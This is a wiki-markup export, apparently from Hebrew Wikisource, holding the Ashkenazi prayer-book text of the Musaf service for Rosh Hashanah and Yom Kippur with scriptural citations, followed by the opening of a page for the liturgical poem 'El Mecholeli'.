&lt;קטע התחלה=מחול/&gt;&lt;קטע התחלה=מחול1/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, מְחֹל לַעֲוֹנוֹתֵינוּ בְּיוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וּבְיוֹם}} הַכִּפֻּרִים הַזֶּה. מְחֵה וְהַעֲבֵר פְּשָׁעֵינוּ וְחַטֹּאתֵינוּ מִנֶּגֶד עֵינֶיךָ. כָּאָמוּר: אָנֹכִי אָנֹכִי הוּא מֹחֶה פְשָׁעֶיךָ לְמַעֲנִי וְחַטֹּאתֶיךָ לֹא אֶזְכֹּר׃{{ממס|ישעיהו מג כה}} וְנֶאֱמַר: מָחִיתִי כָעָב פְּשָׁעֶיךָ וְכֶעָנָן חַטֹּאותֶיךָ שׁוּבָה אֵלַי כִּי גְאַלְתִּיךָ׃{{ממס|ישעיהו מד כב}} וְנֶאֱמַר: כִּי בַיּוֹם הַזֶּה יְכַפֵּר עֲלֵיכֶם לְטַהֵר אֶתְכֶם מִכֹּל חַטֹּאתֵיכֶם לִפְנֵי יְיָ תִּטְהָרוּ׃{{ממס|ויקרא טז ל}} {{הור1|בשבת|אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, רְצֵה בִמְנוּחָתֵנוּ,}} קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, &lt;קטע סוף=מחול1/&gt;{{הור1|בשבת|וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה וּבְרָצוֹן שַׁבַּת קָדְשֶׁךָ, וְיָנוּחוּ בָהּ / בוֹ / בָם יִשְׂרָאֵל מְקַדְּשֵׁי שְׁמֶךָ,}} &lt;קטע התחלה=מחול2/&gt;וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. כִּי אַתָּה סָלְחָן לְיִשְׂרָאֵל וּמָחֳלָן לְשִׁבְטֵי יְשֻׁרוּן בְּכָל דּוֹר וָדוֹר, וּמִבַּלְעָדֶיךָ אֵין לָנוּ מֶלֶךְ מוֹחֵל וְסוֹלֵחַ אֶלָּא אָתָּה. בָּרוּךְ אַתָּה יְיָ, מֶלֶךְ מוֹחֵל וְסוֹלֵחַ לַעֲוֹנוֹתֵינוּ וְלַעֲוֹנוֹת עַמּוֹ בֵּית יִשְׂרָאֵל וּמַעֲבִיר אַשְׁמוֹתֵינוּ בְּכָל שָׁנָה וְשָׁנָה, מֶלֶךְ עַל כָּל הָאָרֶץ, מְקַדֵּשׁ {{הור1|בשבת|הַשַּׁבָּת וְ}}יִשְׂרָאֵל וְיוֹם הַכִּפֻּרִים. &lt;קטע סוף=מחול2/&gt;&lt;קטע סוף=מחול/&gt;

===מוסף ראש השנה===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}&lt;/noinclude&gt;

&lt;קטע התחלה=ותתן-ר&quot;ה1/&gt;&lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם &lt;קטע סוף=ותתן-ר&quot;ה2/&gt;{{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}} &lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;הַזִּכָּרוֹן הַזֶּה, &lt;קטע סוף=ותתן-ר&quot;ה2/&gt;{{הור|בחול:}} &lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;יוֹם תְּרוּעָה, &lt;קטע סוף=ותתן-ר&quot;ה2/&gt;{{הור1|בשבת|זִכְרוֹן תְּרוּעָה, בְּאַהֲבָה,}} &lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן-ר&quot;ה2/&gt;&lt;קטע סוף=ותתן-ר&quot;ה1/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ומפני}}&lt;/noinclude&gt;

וְאֶת מוּסְפֵי יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְיוֹם}} הַזִּכָּרוֹן הַזֶּה נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר:

&lt;קטע התחלה=פסוקים ראש השנה/&gt;וּבַחֹדֶשׁ הַשְּׁבִיעִי בְּאֶחָד לַחֹדֶשׁ, מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ, יוֹם תְּרוּעָה יִהְיֶה לָכֶם׃ וַעֲשִׂיתֶם עֹלָה לְרֵיחַ נִיחֹחַ לַייָ, פַּר בֶּן בָּקָר אֶחָד, אַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה תְּמִימִם׃{{ממס|במדבר כט|במדבר כט א-ב}} 

וּמִנְחָתָם וְנִסְכֵּיהֶם כִּמְדֻבָּר, שְׁלשָׁה עֶשְׂרֹנִים לַפָּר, וּשְׁנֵי עֶשְׂרוֹנִים לָאָיִל, וְעִשָּׂרוֹן לַכֶּבֶשׂ, וְיַיִן כְּנִסְכּוֹ, וּשְׁנֵי שְׂעִירִים לְכַפֵּר, וּשְׁנֵי תְמִידִים כְּהִלְכָתָם.

מִלְּבַד עֹלַת הַחֹדֶשׁ וּמִנְחָתָהּ וְעֹלַת הַתָּמִיד וּמִנְחָתָהּ, וְנִסְכֵּיהֶם כְּמִשְׁפָּטָם, לְרֵיחַ נִיחֹחַ אִשֶּׁה לַייָ׃{{ממס|במדבר כט ו|שם פסוק ו}}&lt;קטע סוף=פסוקים ראש השנה/&gt;&lt;קטע התחלה=מלכויות כ/&gt;
====מלכויות====
&lt;קטע סוף=מלכויות כ/&gt;{{#קטע:סידור/נוסח אשכנז/עלינו לשבח|עלינו}}

&lt;קטע התחלה=מלכויות א/&gt;{{#קטע:סידור/נוסח אשכנז/עלינו לשבח|על כן}}{{ש}}&lt;קטע סוף=מלכויות א/&gt;
&lt;קטע התחלה=מלכויות פס/&gt;כַּכָּתוּב בְּתוֹרָתֶךָ: יְיָ יִמְלֹךְ לְעֹלָם וָעֶד׃{{ממס|שמות טו יח}}{{ש}}
וְנֶאֱמַר: לֹא הִבִּיט אָוֶן בְּיַעֲקֹב, וְלֹא רָאָה עָמָל בְּיִשְׂרָאֵל, יְיָ אֱלֹהָיו עִמּוֹ, וּתְרוּעַת מֶלֶךְ בּוֹ׃{{ממס|במדבר כג כא}}{{ש}}
וְנֶאֱמַר: וַיְהִי בִישֻׁרוּן מֶלֶךְ, בְּהִתְאַסֵּף רָאשֵׁי, עָם יַחַד שִׁבְטֵי יִשְׂרָאֵל׃{{ממס|דברים לג ה}}

וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}
כִּי לַייָ הַמְּלוּכָה וּמֹשֵׁל בַּגּוֹיִם׃{{ממס|תהלים כב כט}}{{ש}}
וְנֶאֱמַר: יְיָ מָלָךְ גֵּאוּת לָבֵשׁ, לָבֵשׁ יְיָ עֹז הִתְאַזָּר, אַף תִּכּוֹן תֵּבֵל בַּל תִּמּוֹט׃{{ממס|תהלים צג א}}{{ש}}
וְנֶאֱמַר: שְׂאוּ שְׁעָרִים רָאשֵׁיכֶם, וְהִנָּשְׂאוּ פִּתְחֵי עוֹלָם, וְיָבוֹא מֶלֶךְ הַכָּבוֹד׃ מִי זֶה מֶלֶךְ הַכָּבוֹד, יְיָ עִזּוּז וְגִבּוֹר, יְיָ גִּבּוֹר מִלְחָמָה׃ שְׂאוּ שְׁעָרִים רָאשֵׁיכֶם, וּשְׂאוּ פִּתְחֵי עוֹלָם, וְיָבֹא מֶלֶךְ הַכָּבוֹד׃ מִי הוּא זֶה מֶלֶךְ הַכָּבוֹד, יְיָ צְבָאוֹת הוּא מֶלֶךְ הַכָּבוֹד סֶלָה׃{{ממס|תהלים כד#כד ז|תהלים כד ז-י}}

וְעַל יְדֵי עֲבָדֶיךָ הַנְּבִיאִים כָּתוּב לֵאמֹר:{{ש}}
כֹּה אָמַר יְיָ מֶלֶךְ יִשְׂרָאֵל וְגֹאֲלוֹ יְיָ צְבָאוֹת, אֲנִי רִאשׁוֹן וַאֲנִי אַחֲרוֹן, וּמִבַּלְעָדַי אֵין אֱלֹהִים׃{{ממס|ישעיהו מד ו}}{{ש}}
וְנֶאֱמַר: וְעָלוּ מוֹשִׁעִים בְּהַר צִיּוֹן לִשְׁפֹּט אֶת הַר עֵשָׂו, וְהָיְתָה לַייָ הַמְּלוּכָה׃{{ממס|עובדיה א כא}}{{ש}}
וְנֶאֱמַר: וְהָיָה יְיָ לְמֶלֶךְ עַל כָּל הָאָרֶץ, בַּיּוֹם הַהוּא יִהְיֶה יְיָ אֶחָד וּשְׁמוֹ אֶחָד׃{{ממס|זכריה יד ט}}

וּבְתוֹרָתְךָ כָּתוּב לֵאמֹר:{{ש}}
שְׁמַע יִשְׂרָאֵל, יְיָ אֱלֹהֵינוּ יְיָ אֶחָד׃{{ממס|דברים ו ד}}&lt;קטע סוף=מלכויות פס/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|מלוך}}&lt;/noinclude&gt;&lt;קטע התחלה=זכרונות כ/&gt;
====זכרונות====
&lt;קטע סוף=זכרונות כ/&gt;&lt;קטע התחלה=זכרונות א/&gt;אַתָּה זוֹכֵר מַעֲשֵׂה עוֹלָם, וּפוֹקֵד כָּל יְצוּרֵי קֶדֶם. לְפָנֶיךָ נִגְלוּ כָּל תַּעֲלוּמוֹת, וַהֲמוֹן נִסְתָּרוֹת שֶׁמִּבְּרֵאשִׁית. כִּי אֵין שִׁכְחָה לִפְנֵי כִסֵּא כְבוֹדֶךָ, וְאֵין נִסְתָּר מִנֶּגֶד עֵינֶיךָ. אַתָּה זוֹכֵר אֶת כָּל הַמִּפְעָל, וְגַם כָּל הַיְצוּר לֹא נִכְחָד מִמֶּךָּ. הַכֹּל גָּלוּי וְיָדוּעַ לְפָנֶיךָ יְיָ אֱלֹהֵינוּ, צוֹפֶה וּמַבִּיט עַד סוֹף כָּל הַדּוֹרוֹת. כִּי תָבִיא חֹק זִכָּרוֹן לְהִפָּקֵד כָּל רוּחַ וָנָפֶשׁ, לְהִזָּכֵר מַעֲשִׂים רַבִּים, וַהֲמוֹן בְּרִיּוֹת לְאֵין תַּכְלִית. מֵרֵאשִׁית כָּזֹאת הוֹדָעְתָּ, וּמִלְּפָנִים אוֹתָהּ גִּלִּיתָ. זֶה הַיּוֹם תְּחִלַּת מַעֲשֶׂיךָ, זִכָּרוֹן לְיוֹם רִאשׁוֹן. כִּי חֹק לְיִשְׂרָאֵל הוּא, מִשְׁפָּט לֵאלֹהֵי יַעֲקֹב.{{ממס|תהלים פא ה}} וְעַל הַמְּדִינוֹת בּוֹ יֵאָמֵר, אֵי זוֹ לַחֶרֶב וְאֵי זוֹ לַשָּׁלוֹם, אֵי זוֹ לָרָעָב וְאֵי זוֹ לַשֹּׂבַע. וּבְרִיּוֹת בּוֹ יִפָּקֵדוּ לְהַזְכִּירָם לַחַיִּים וְלַמָּוֶת. מִי לֹא נִפְקָד כְּהַיּוֹם הַזֶּה. כִּי זֵכֶר כָּל הַיְצוּר לְפָנֶיךָ בָּא, מַעֲשֵׂה אִישׁ וּפְקֻדָּתוֹ, וַעֲלִילוֹת מִצְעֲדֵי גָבֶר, מַחְשְׁבוֹת אָדָם וְתַחְבּוּלוֹתָיו, וְיִצְרֵי מַעַלְלֵי אִישׁ. אַשְׁרֵי אִישׁ שֶׁלֹּא יִשְׁכָּחֶךָּ, וּבֶן אָדָם יִתְאַמֶּץ בָּךְ. כִּי דֹרְשֶׁיךָ לְעוֹלָם לֹא יִכָּשֵׁלוּ, וְלֹא יִכָּלְמוּ לָנֶצַח כָּל הַחוֹסִים בָּךְ. כִּי זֵכֶר כָּל הַמַּעֲשִׂים לְפָנֶיךָ בָּא, וְאַתָּה דוֹרֵשׁ מַעֲשֵׂה כֻלָּם. &lt;קטע סוף=זכרונות א/&gt;&lt;קטע התחלה=זכרונות פס/&gt;וְגַם אֶת נֹחַ בְּאַהֲבָה זָכַרְתָּ, וַתִּפְקְדֵהוּ בִּדְבַר יְשׁוּעָה וְרַחֲמִים, בַּהֲבִיאֲךָ אֶת מֵי הַמַּבּוּל לְשַׁחֵת כָּל בָּשָׂר מִפְּנֵי רעַ מַעַלְלֵיהֶם. עַל כֵּן זִכְרוֹנוֹ בָּא לְפָנֶיךָ יְיָ אֱלֹהֵינוּ, לְהַרְבּוֹת זַרְעוֹ כְּעַפְרוֹת תֵּבֵל, וְצֶאֱצָאָיו כְּחוֹל הַיָּם. 

כַּכָּתוּב בְּתוֹרָתֶךָ: וַיִּזְכֹּר אֱלֹהִים אֶת נֹחַ, וְאֵת כָּל הַחַיָּה וְאֶת כָּל הַבְּהֵמָה אֲשֶׁר אִתּוֹ בַּתֵּבָה, וַיַּעֲבֵר אֱלֹהִים רוּחַ עַל הָאָרֶץ, וַיָּשֹׁכּוּ הַמָּיִם׃{{ממס|בראשית ח א}}{{ש}}
וְנֶאֱמַר: וַיִּשְׁמַע אֱלֹהִים אֶת נַאֲקָתָם, וַיִּזְכֹּר אֱלֹהִים אֶת בְּרִיתוֹ אֶת אַבְרָהָם אֶת יִצְחָק וְאֶת יַעֲקֹב׃{{ממס|שמות ב כד}}{{ש}}
וְנֶאֱמַר: וְזָכַרְתִּי אֶת בְּרִיתִי יַעֲקוֹב, וְאַף אֶת בְּרִיתִי יִצְחָק, וְאַף אֶת בְּרִיתִי אַבְרָהָם אֶזְכֹּר, וְהָאָרֶץ אֶזְכֹּר׃{{ממס|ויקרא כו מב}}

וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}
זֵכֶר עָשָׂה לְנִפְלְאֹתָיו, חַנּוּן וְרַחוּם יְיָ׃{{ממס|תהלים קיא ד}}{{ש}}
וְנֶאֱמַר: טֶרֶף נָתַן לִירֵאָיו, יִזְכֹּר לְעוֹלָם בְּרִיתוֹ׃{{ממס|תהלים קיא ה|שם פסוק ה}}{{ש}}
וְנֶאֱמַר: וַיִּזְכֹּר לָהֶם בְּרִיתוֹ, וַיִּנָּחֵם כְּרֹב חֲסָדָו׃{{ממס|תהלים קו מה}}

וְעַל יְדֵי עֲבָדֶיךָ הַנְּבִיאִים כָּתוּב לֵאמֹר:{{ש}}
הָלֹךְ וְקָרָאתָ בְאָזְנֵי יְרוּשָׁלַיִם לֵאמֹר, כֹּה אָמַר יְיָ, זָכַרְתִּי לָךְ חֶסֶד נְעוּרַיִךְ, אַהֲבַת כְּלוּלֹתָיִךְ, לֶכְתֵּךְ אַחֲרַי בַּמִּדְבָּר, בְּאֶרֶץ לֹא זְרוּעָה׃{{ממס|ירמיהו ב ב}}{{ש}}
וְנֶאֱמַר: וְזָכַרְתִּי אֲנִי אֶת בְּרִיתִי אוֹתָךְ בִּימֵי נְעוּרָיִךְ, וַהֲקִמוֹתִי לָךְ בְּרִית עוֹלָם׃{{ממס|יחזקאל טז ס}}{{ש}}
וְנֶאֱמַר: הֲבֵן יַקִּיר לִי אֶפְרַיִם, אִם יֶלֶד שַׁעֲשֻׁעִים, כִּי מִדֵּי דַבְּרִי בּוֹ זָכֹר אֶזְכְּרֶנּוּ עוֹד, עַל כֵּן הָמוּ מֵעַי לוֹ, רַחֵם אֲרַחֲמֶנּוּ נְאֻם יְיָ׃{{ממס|ירמיהו לא יט}}

&lt;קטע סוף=זכרונות פס/&gt;&lt;קטע התחלה=זכרונות ב/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, זָכְרֵנוּ בְּזִכָּרוֹן טוֹב לְפָנֶיךָ, וּפָקְדֵנוּ בִּפְקֻדַּת יְשׁוּעָה וְרַחֲמִים מִשְּׁמֵי שְׁמֵי קֶדֶם, וּזְכָר לָנוּ יְיָ אֱלֹהֵינוּ אֶת הַבְּרִית וְאֶת הַחֶסֶד וְאֶת הַשְּׁבוּעָה אֲשֶׁר נִשְׁבַּעְתָּ לְאַבְרָהָם אָבִינוּ בְּהַר הַמּוֹרִיָּה, וְתֵרָאֶה לְפָנֶיךָ עֲקֵדָה שֶׁעָקַד אַבְרָהָם אָבִינוּ אֶת יִצְחָק בְּנוֹ עַל גַּבֵּי הַמִּזְבֵּחַ, וְכָבַשׁ רַחֲמָיו לַעֲשׂוֹת רְצוֹנְךָ בְּלֵבָב שָׁלֵם, כֵּן יִכְבְּשׁוּ רַחֲמֶיךָ אֶת כַּעַסְךָ מֵעָלֵינוּ, וּבְטוּבְךָ הַגָּדוֹל יָשׁוּב חֲרוֹן אַפְּךָ מֵעַמְּךָ וּמֵעִירְךָ וּמֵאַרְצְךָ וּמִנַּחֲלָתֶךָ. וְקַיֶּם לָנוּ יְיָ אֱלֹהֵינוּ אֶת הַדָּבָר שֶׁהִבְטַחְתָּנוּ בְּתוֹרָתֶךָ עַל יְדֵי משֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: וְזָכַרְתִּי לָהֶם בְּרִית רִאשֹׁנִים, אֲשֶׁר הוֹצֵאתִי אֹתָם מֵאֶרֶץ מִצְרַיִם לְעֵינֵי הַגּוֹיִם לִהְיוֹת לָהֶם לֵאלֹהִים, אֲנִי יְיָ׃{{ממס|ויקרא כו מה}} כִּי זוֹכֵר כָּל הַנִּשְׁכָּחוֹת אַתָּה הוּא מֵעוֹלָם, וְאֵין שִׁכְחָה לִפְנֵי כִסֵּא כְבוֹדֶךָ. וַעֲקֵדַת יִצְחָק לְזַרְעוֹ (שֶׁל יַעֲקֹב) הַיּוֹם בְּרַחֲמִים תִּזְכֹּר. בָּרוּךְ אַתָּה יְיָ, זוֹכֵר הַבְּרִית. &lt;קטע סוף=זכרונות ב/&gt;&lt;קטע התחלה=שופרות כ/&gt;
====שופרות====
&lt;קטע סוף=שופרות כ/&gt;&lt;קטע התחלה=שופרות א/&gt;אַתָּה נִגְלֵיתָ בַּעֲנַן כְּבוֹדְךָ עַל עַם קָדְשְׁךָ לְדַבֵּר עִמָּם. מִן הַשָּׁמַיִם הִשְׁמַעְתָּם קוֹלֶךָ, וְנִגְלֵיתָ עֲלֵיהֶם בְּעַרְפְּלֵי טֹהַר. גַּם כָּל הָעוֹלָם כֻּלּוֹ חָל מִפָּנֶיךָ, וּבְרִיּוֹת בְּרֵאשִׁית חָרְדוּ מִמֶּךָּ, בְּהִגָּלוֹתְךָ מַלְכֵּנוּ עַל הַר סִינַי, לְלַמֵּד לְעַמְּךָ תּוֹרָה וּמִצְוֹת. וַתַּשְׁמִיעֵם אֶת הוֹד קוֹלֶךָ, וְדִבְּרוֹת קָדְשְׁךָ מִלַּהֲבוֹת אֵשׁ. בְּקוֹלוֹת וּבְרָקִים עֲלֵיהֶם נִגְלֵיתָ, וּבְקוֹל שׁוֹפָר עֲלֵיהֶם הוֹפָעְתָּ.

&lt;קטע סוף=שופרות א/&gt;&lt;קטע התחלה=שופרות פס/&gt;כַּכָּתוּב בְּתוֹרָתֶךָ: וַיְהִי בַיּוֹם הַשְּׁלִישִׁי בִּהְיֹת הַבֹּקֶר, וַיְהִי קֹלֹת וּבְרָקִים וְעָנָן כָּבֵד עַל הָהָר וְקֹל שֹׁפָר חָזָק מְאֹד, וַיֶּחֱרַד כָּל הָעָם אֲשֶׁר בַּמַּחֲנֶה׃{{ממס|שמות יט טז}}{{ש}}
וְנֶאֱמַר: וַיְהִי קוֹל הַשֹּׁפָר הוֹלֵךְ וְחָזֵק מְאֹד, מֹשֶׁה יְדַבֵּר, וְהָאֱלֹהִים יַעֲנֶנּוּ בְקוֹל׃{{ממס|שמות יט יט|שם פסוק יט}}{{ש}}
וְנֶאֱמַר: וְכָל הָעָם רֹאִים אֶת הַקּוֹלֹת וְאֶת הַלַּפִּידִם וְאֵת קוֹל הַשֹּׁפָר וְאֶת הָהָר עָשֵׁן, וַיַּרְא הָעָם וַיָּנֻעוּ, וַיַּעַמְדוּ מֵרָחֹק׃{{ממס|שמות כ טו}}

וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}
עָלָה אֱלֹהִים בִּתְרוּעָה, יְיָ בְּקוֹל שׁוֹפָר׃{{ממס|תהלים מז ו}}{{ש}}
וְנֶאֱמַר: בַּחֲצֹצְרוֹת וְקוֹל שׁוֹפָר הָרִיעוּ לִפְנֵי הַמֶּלֶךְ יְיָ׃{{ממס|תהלים צח ו}}{{ש}}
וְנֶאֱמַר: תִּקְעוּ בַחֹדֶשׁ שׁוֹפָר, בַּכֵּסֶה לְיוֹם חַגֵּנוּ׃ כִּי חֹק לְיִשְׂרָאֵל הוּא, מִשְׁפָּט לֵאלֹהֵי יַעֲקֹב׃{{ממס|תהלים פא#פא ד|תהלים פא ד-ה}}{{ש}}
וְנֶאֱמַר: הַלְלוּיָהּ, הַלְלוּ אֵל בְּקָדְשׁוֹ, הַלְלוּהוּ בִּרְקִיעַ עֻזּוֹ׃ הַלְלוּהוּ בִגְבוּרֹתָיו, הַלְלוּהוּ כְּרֹב גֻּדְלוֹ׃ הַלְלוּהוּ בְּתֵקַע שׁוֹפָר, הַלְלוּהוּ בְּנֵבֶל וְכִנּוֹר׃ הַלְלוּהוּ בְּתֹף וּמָחוֹל, הַלְלוּהוּ בְּמִנִּים וְעוּגָב׃ הַלְלוּהוּ בְצִלְצְלֵי שָׁמַע, הַלְלוּהוּ בְּצִלְצְלֵי תְרוּעָה׃ כֹּל הַנְּשָׁמָה תְּהַלֵּל יָהּ, הַלְלוּיָהּ׃{{ממס|תהלים קנ}}

וְעַל יְדֵי עֲבָדֶיךָ הַנְּבִיאִים כָּתוּב לֵאמֹר:{{ש}}
כָּל יֹשְׁבֵי תֵבֵל וְשֹׁכְנֵי אָרֶץ, כִּנְשֹׂא נֵס הָרִים תִּרְאוּ, וְכִתְקֹעַ שׁוֹפָר תִּשְׁמָעוּ׃{{ממס|ישעיהו יח ג}}{{ש}}
וְנֶאֱמַר: וְהָיָה בַּיּוֹם הַהוּא, יִתָּקַע בְּשׁוֹפָר גָּדוֹל, וּבָאוּ הָאֹבְדִים בְּאֶרֶץ אַשּׁוּר, וְהַנִּדָּחִים בְּאֶרֶץ מִצְרָיִם, וְהִשְׁתַּחֲווּ לַייָ בְּהַר הַקֹּדֶשׁ בִּירוּשָׁלָיִם׃{{ממס|ישעיהו כז יג}}{{ש}}
וְנֶאֱמַר: וַייָ עֲלֵיהֶם יֵרָאֶה וְיָצָא כַבָּרָק חִצּוֹ, וַאדֹנָי {{צבע גופן|אפור|יְיִ}} [אֱלֹהִים] בַּשּׁוֹפָר יִתְקָע, וְהָלַךְ בְּסַעֲרוֹת תֵּימָן׃ יְיָ צְבָאוֹת יָגֵן עֲלֵיהֶם.{{ממס|זכריה ט#ט יד|זכריה ט יד-טו}} כֵּן תָּגֵן עַל עַמְּךָ יִשְׂרָאֵל בִּשְׁלוֹמֶךָ.

&lt;קטע סוף=שופרות פס/&gt;&lt;קטע התחלה=שופרות ב/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, תְּקַע בְּשׁוֹפָר גָּדוֹל לְחֵרוּתֵנוּ, וְשָׂא נֵס לְקַבֵּץ גָּלֻיּוֹתֵינוּ, וְקָרֵב פְּזוּרֵינוּ מִבֵּין הַגּוֹיִם, וּנְפוּצוֹתֵינוּ כַּנֵּס מִיַּרְכְּתֵי אָרֶץ, וַהֲבִיאֵנוּ לְצִיּוֹן עִירְךָ בְּרִנָּה, וְלִירוּשָׁלַיִם בֵּית מִקְדָּשְׁךָ בְּשִׂמְחַת עוֹלָם, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, כִּמְצֻוָּה עָלֵינוּ בְתוֹרָתֶךָ עַל יְדֵי משֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: וּבְיוֹם שִׂמְחַתְכֶם וּבְמוֹעֲדֵיכֶם וּבְרָאשֵׁי חָדְשֵׁיכֶם, וּתְקַעְתֶּם בַּחֲצֹצְרֹת עַל עֹלֹתֵיכֶם וְעַל זִבְחֵי שַׁלְמֵיכֶם, וְהָיוּ לָכֶם לְזִכָּרוֹן לִפְנֵי אֱלֹהֵיכֶם, אֲנִי יְיָ אֱלֹהֵיכֶם׃{{ממס|במדבר י י}} כִּי אַתָּה שׁוֹמֵעַ קוֹל שׁוֹפָר וּמַאֲזִין תְּרוּעָה וְאֵין דּוֹמֶה לָּךְ. בָּרוּךְ אַתָּה יְיָ, שׁוֹמֵעַ קוֹל תְּרוּעַת עַמּוֹ יִשְׂרָאֵל בְּרַחֲמִים. &lt;קטע סוף=שופרות ב/&gt;

===מוסף יום כיפור===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}&lt;/noinclude&gt;&lt;קטע התחלה=ותתן לנו כיפור/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}} הַכִּפֻּרִים הַזֶּה, לִמְחִילָה וְלִסְלִיחָה וּלְכַפָּרָה וְלִמְחָל בּוֹ אֶת כָּל עֲוֹנוֹתֵינוּ, {{הור1|בשבת|בְּאַהֲבָה}} מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן לנו כיפור/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ומפני}}&lt;/noinclude&gt;

&lt;קטע התחלה=ואת מוסף כיפור/&gt;וְאֶת {{הור|כשחל בחול:}} מוּסַף {{הור1|בשבת|מוּסְפֵי}} יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְיוֹם}} הַכִּפֻּרִים הַזֶּה נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר:&lt;קטע סוף=ואת מוסף כיפור/&gt;

&lt;קטע התחלה=פסוקים יום כיפור/&gt;וּבֶעָשׂוֹר לַחֹדֶשׁ הַשְּׁבִיעִי הַזֶּה מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, וְעִנִּיתֶם אֶת נַפְשֹׁתֵיכֶם, כָּל מְלָאכָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם עֹלָה לַייָ רֵיחַ נִיחֹחַ, פַּר בֶּן בָּקָר אֶחָד, אַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה, תְּמִימִם יִהְיוּ לָכֶם׃{{ממס|במדבר כט#כט ז|במדבר כט ז-ח}}

וּמִנְחָתָם וְנִסְכֵּיהֶם כִּמְדֻבָּר, שְׁלשָׁה עֶשְׂרֹנִים לַפָּר, וּשְׁנֵי עֶשְׂרוֹנִים לָאָיִל, וְעִשָּׂרוֹן לַכֶּבֶשׂ, וְיַיִן כְּנִסְכּוֹ, וּשְׁנֵי שְׂעִירִים לְכַפֵּר, וּשְׁנֵי תְמִידִים כְּהִלְכָתָם.&lt;קטע סוף=פסוקים יום כיפור/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|מחול}}&lt;/noinclude&gt;

==הערות ושינויי נוסחאות==</text>
      <sha1>dzq8l9ws25v3i3echcy7hbjibrd9ufy</sha1>
    </revision>
  </page>
  <page>
    <title>אל מחוללי</title>
    <ns>0</ns>
    <id>1726776</id>
    <revision>
      <id>3020723</id>
      <parentid>2996945</parentid>
      <timestamp>2026-06-19T07:09:43Z</timestamp>
      <contributor>
        <username>Yack67</username>
        <id>27395</id>
      </contributor>
      <origin>3020723</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2692" sha1="npr4ba6ksnzissz54tqni3r2avtcyf9" xml:space="preserve">&lt;noinclude&gt;
{{פיוט|
| שם= אל מחוללי שמע קולי
| תמונה =
| כתובית תמונה = 
| סוג = [[:קטגוריה:פיוטי אהבה|אהבה]]
| תת-סוג =
| מועד = [[פרשת חוקת|שבת פרשת חוקת]]
| מחבר = אנונימי
| מיוחס ל =
| שנה =
| חי בשנים =
| אקרוסטיכון =
| צורה =
| אוצר השירה = {{אוצר השירה|א-3774}}
| מנהגים = נאמרת למנהג אשכנז המזרחי בשבת פרשת חוקת.
| ויקיפדיה = 
| אתר הפיוט והתפילה =
}}
{{טקסט מנוקד|גודל=22}}&lt;/noinclude&gt;אֵל מְחוֹלְלִי / שְׁמַע קוֹלִי / כְּפִי חֵילִי / אֲהַלְלָה{{ש}}
אֶת שִׁמְךָ / אֲרוֹמִמְךָ / כִּי מִמְּךָ / לִי תְּהִלָּה{{ש}}
